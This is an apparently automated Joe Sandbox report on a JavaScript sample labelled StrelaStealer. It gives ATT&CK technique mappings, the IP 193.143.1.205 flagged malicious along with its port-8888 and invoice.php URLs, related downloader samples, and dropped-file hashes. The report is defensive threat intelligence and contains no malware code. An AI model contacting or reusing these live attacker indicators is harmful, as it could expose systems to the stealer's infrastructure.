Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1504631236979031969.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/I	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/I	net.exe, 00000007.00000003.1562298448.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562728966.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2728294545.0000025165C84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1563283477.00000251659D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1562298448.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1561589131.0000029EC0B2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562728966.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/=	net.exe, 00000007.00000003.1562298448.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562728966.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588605
Start date and time:	2025-01-11 03:03:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1504631236979031969.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.22.50.144, 2.22.50.151, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 4.175.87.197, 50.16.47.176, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1504631236979031969.js

Simulations

Behavior and APIs

Time	Type	Description
21:04:05	API Interceptor	24x Sleep call for process: powershell.exe modified
21:04:09	API Interceptor	1x Sleep call for process: net.exe modified
21:04:10	API Interceptor	2x Sleep call for process: svchost.exe modified
21:04:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021855918777853
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAK:RJE+Lfki1GjHwU/+vVhWqpT
MD5:	900B8BADB5C2E4F9D4ED9B135D1EC8CF
SHA1:	CE832ED8F2C9EF28E8D4715AD97B13675C41344A
SHA-256:	7255C31BF768FC26577E6899240CA29AE927BAFE8459DCFC8BDBC70F2956BF65
SHA-512:	93B37AF926C25328BDA3F6BD9A59FFF7D4ED38294A6B9FFA693181740C717B8733163AC35660D1EBC6B1FE32AEEB92210987AD0C75C6C67F8ACEF2F39E8B6A93
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf26cde78, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432888586414396
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR
MD5:	671230E4771887EC52BED1152D249A18
SHA1:	BC4656EB80570C320D57E166E8EB82D41C729242
SHA-256:	311F7D48AB91DCAB45E7F9E9783F57D3B3A9CC4D312FA196A5A6B69C9CAE524B
SHA-512:	7DA0A29BED233B31EE37F1177DD4B954A99889951E5339F1138DE6FCE92DF1D3117E3CF8A0CB544121432F940DE4B1B9D41E59EFD0CDFD332D05845BD00C3182
Malicious:	false
Preview:	.l.x... ...............X\...;...{......................0.x...... ...{s......}W.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................xs......}w.................@.......}W..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08077547366508456
Encrypted:	false
SSDEEP:	3:pJUYeYlxgdl/nqlFcl1ZUllllurfjlollGBnX/l/Tj/k7/t:gz+xql/qlFclQ/luC254
MD5:	F0B2DF5CBC1FE38D54A03088FA20A44B
SHA1:	B07C5DC5F9483E1BA2C4FA7878A9EC7BB0C4882E
SHA-256:	B110A82BE12991B98E4F9ECC47996D59A6AA78D6DFED6EBBD1F124FE1353E759
SHA-512:	30792D615DD87CF4CA30415024EAD36818DB1886080BFBA56738B0CE0055883A97FD485106B584621BA822EE7242C43A115B6FEC2A3E0534FA45C603C3EC4031
Malicious:	false
Preview:	...i.....................................;...{.......}W.. ...{s.......... ...{s.. ...{s.P.... ...{s.................@.......}W.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1311377725116705
Encrypted:	false
SSDEEP:	6:iO4q6QGXAQ+q2PCHhJ2nKuAl9OmbnIFUtSqmTAgZmwsqLAQVkwOCHhJ2nKuAl9Oe:7kVAVvBHAahFUtyTAg/RAI56HAaSJ
MD5:	15476DDE0C89F6B78EA903F43755FC35
SHA1:	4C84F3838F2C6D7265E43C0367A47C34557AF8F5
SHA-256:	27F8CCF4EE8FA9D66361F0B180B2631755E2A20BC5860A798A1A24D269BF0F12
SHA-512:	42C2385BF6A790379B1221BD617F7B5E324DEA4C5F949A9809E7181C5082AA04AA5BD750F8CDA36D5B06CAE4AE46476C930DDB4E87C32155CA817773CB041213
Malicious:	false
Preview:	2025/01/10-21:04:10.015 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:04:10.042 1fb8 Recovering log #3.2025/01/10-21:04:10.043 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1311377725116705
Encrypted:	false
SSDEEP:	6:iO4q6QGXAQ+q2PCHhJ2nKuAl9OmbnIFUtSqmTAgZmwsqLAQVkwOCHhJ2nKuAl9Oe:7kVAVvBHAahFUtyTAg/RAI56HAaSJ
MD5:	15476DDE0C89F6B78EA903F43755FC35
SHA1:	4C84F3838F2C6D7265E43C0367A47C34557AF8F5
SHA-256:	27F8CCF4EE8FA9D66361F0B180B2631755E2A20BC5860A798A1A24D269BF0F12
SHA-512:	42C2385BF6A790379B1221BD617F7B5E324DEA4C5F949A9809E7181C5082AA04AA5BD750F8CDA36D5B06CAE4AE46476C930DDB4E87C32155CA817773CB041213
Malicious:	false
Preview:	2025/01/10-21:04:10.015 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:04:10.042 1fb8 Recovering log #3.2025/01/10-21:04:10.043 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.104009376190544
Encrypted:	false
SSDEEP:	6:iO4qSNlyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqI+1Zmwsqc8EVN1RkwOCHhJ2nKuA:7EIvBHAa8uFUt8+1/W/ND56HAa8RJ
MD5:	BC6EE6EF90CE34D446D4413A82A83712
SHA1:	BA4B2B476159BD9498C67323A780EEB084B515BD
SHA-256:	05CA286A349D54507065610B1CC6E7453A7E65CDAB37FA2D0703190832C81E83
SHA-512:	ED9314394DB466B68D4D051F8C9E829AA31029BCFC719E8D56DA1106D1E1CC9CD2CE9347430D384485EAC5F503B5892977564DFB61C2ED1E77556CAA13C8D872
Malicious:	false
Preview:	2025/01/10-21:04:10.146 ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:04:10.147 ca0 Recovering log #3.2025/01/10-21:04:10.148 ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.104009376190544
Encrypted:	false
SSDEEP:	6:iO4qSNlyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqI+1Zmwsqc8EVN1RkwOCHhJ2nKuA:7EIvBHAa8uFUt8+1/W/ND56HAa8RJ
MD5:	BC6EE6EF90CE34D446D4413A82A83712
SHA1:	BA4B2B476159BD9498C67323A780EEB084B515BD
SHA-256:	05CA286A349D54507065610B1CC6E7453A7E65CDAB37FA2D0703190832C81E83
SHA-512:	ED9314394DB466B68D4D051F8C9E829AA31029BCFC719E8D56DA1106D1E1CC9CD2CE9347430D384485EAC5F503B5892977564DFB61C2ED1E77556CAA13C8D872
Malicious:	false
Preview:	2025/01/10-21:04:10.146 ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:04:10.147 ca0 Recovering log #3.2025/01/10-21:04:10.148 ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\37d4f926-6340-48c8-95e7-dcfce93f66e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958337528440935
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKcVSsBdOg2HUgcaq3QYiub6P7E4T3y:Y2sRds9cVXdMHUL3QYhbS7nby
MD5:	6E6D4CA3C54437EC2798325E4BDA6CBD
SHA1:	2F92DD4802694E0C9624106389BFE92229DFE022
SHA-256:	FC9D557359F4A3AAA0BBF4F9C62DF98682CCA6A8E79D6102898C068B676F1636
SHA-512:	A19790D72972D603B7A77D77CE809D11FAA6404BDAC596E2209849D77DCB3D7A75BBA9D1B21B0752CA4DCDBC5CE2D5A7CF6C05A3E9225A172FEB84EFC01D4214
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121061739893","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123801},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958337528440935
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKcVSsBdOg2HUgcaq3QYiub6P7E4T3y:Y2sRds9cVXdMHUL3QYhbS7nby
MD5:	6E6D4CA3C54437EC2798325E4BDA6CBD
SHA1:	2F92DD4802694E0C9624106389BFE92229DFE022
SHA-256:	FC9D557359F4A3AAA0BBF4F9C62DF98682CCA6A8E79D6102898C068B676F1636
SHA-512:	A19790D72972D603B7A77D77CE809D11FAA6404BDAC596E2209849D77DCB3D7A75BBA9D1B21B0752CA4DCDBC5CE2D5A7CF6C05A3E9225A172FEB84EFC01D4214
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121061739893","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123801},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231685561063385
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bAFY4jkwuv:S43C4mS7fFi0KFYDjr3LWO3V3aw+bAFy
MD5:	BF0BA079FF8CC2BDEE9AE4D8F42B269D
SHA1:	DE9D2DFB8E89A388F20FEB8EBB0C4A03B3AD958C
SHA-256:	5768E3E7A3A11A5C94F50E40172A7DA5D75ECA5A54E948BFA4C15366E549B271
SHA-512:	E4F2A59E4D85E64BF3E72AF007D298FD6B2CBDAFA82B9F12F7FAEE3CB5D9A444411EB2A6EF1821B9A0547445B8707850231286AF203100AB8B112383A9FAA418
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.073109320720675
Encrypted:	false
SSDEEP:	6:iO4q68Flyq2PCHhJ2nKuAl9OmbzNMxIFUtSqmj1ZmwsqGVjRkwOCHhJ2nKuAl9Ob:7uvBHAa8jFUt6j1/cVF56HAa84J
MD5:	6903BC3903B859E206C7A2EB905C49F3
SHA1:	226A781542F81E5DD723A8BA62D8A1C7B581AF34
SHA-256:	10DF393A99BC84F1E62248F861469C0D15F84FB8080E8EBE048C8EE429A8A65C
SHA-512:	2FE3A35B8D8B016A5B315614ADB91F47EA8278B8BD14BD33DA35136DA671C1B58A273AE6F899BCA5C113B46182A18791D29E7583B6CB50A0FE86B324ADC6577E
Malicious:	false
Preview:	2025/01/10-21:04:10.404 ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:04:10.414 ca0 Recovering log #3.2025/01/10-21:04:10.502 ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.073109320720675
Encrypted:	false
SSDEEP:	6:iO4q68Flyq2PCHhJ2nKuAl9OmbzNMxIFUtSqmj1ZmwsqGVjRkwOCHhJ2nKuAl9Ob:7uvBHAa8jFUt6j1/cVF56HAa84J
MD5:	6903BC3903B859E206C7A2EB905C49F3
SHA1:	226A781542F81E5DD723A8BA62D8A1C7B581AF34
SHA-256:	10DF393A99BC84F1E62248F861469C0D15F84FB8080E8EBE048C8EE429A8A65C
SHA-512:	2FE3A35B8D8B016A5B315614ADB91F47EA8278B8BD14BD33DA35136DA671C1B58A273AE6F899BCA5C113B46182A18791D29E7583B6CB50A0FE86B324ADC6577E
Malicious:	false
Preview:	2025/01/10-21:04:10.404 ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:04:10.414 ca0 Recovering log #3.2025/01/10-21:04:10.502 ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
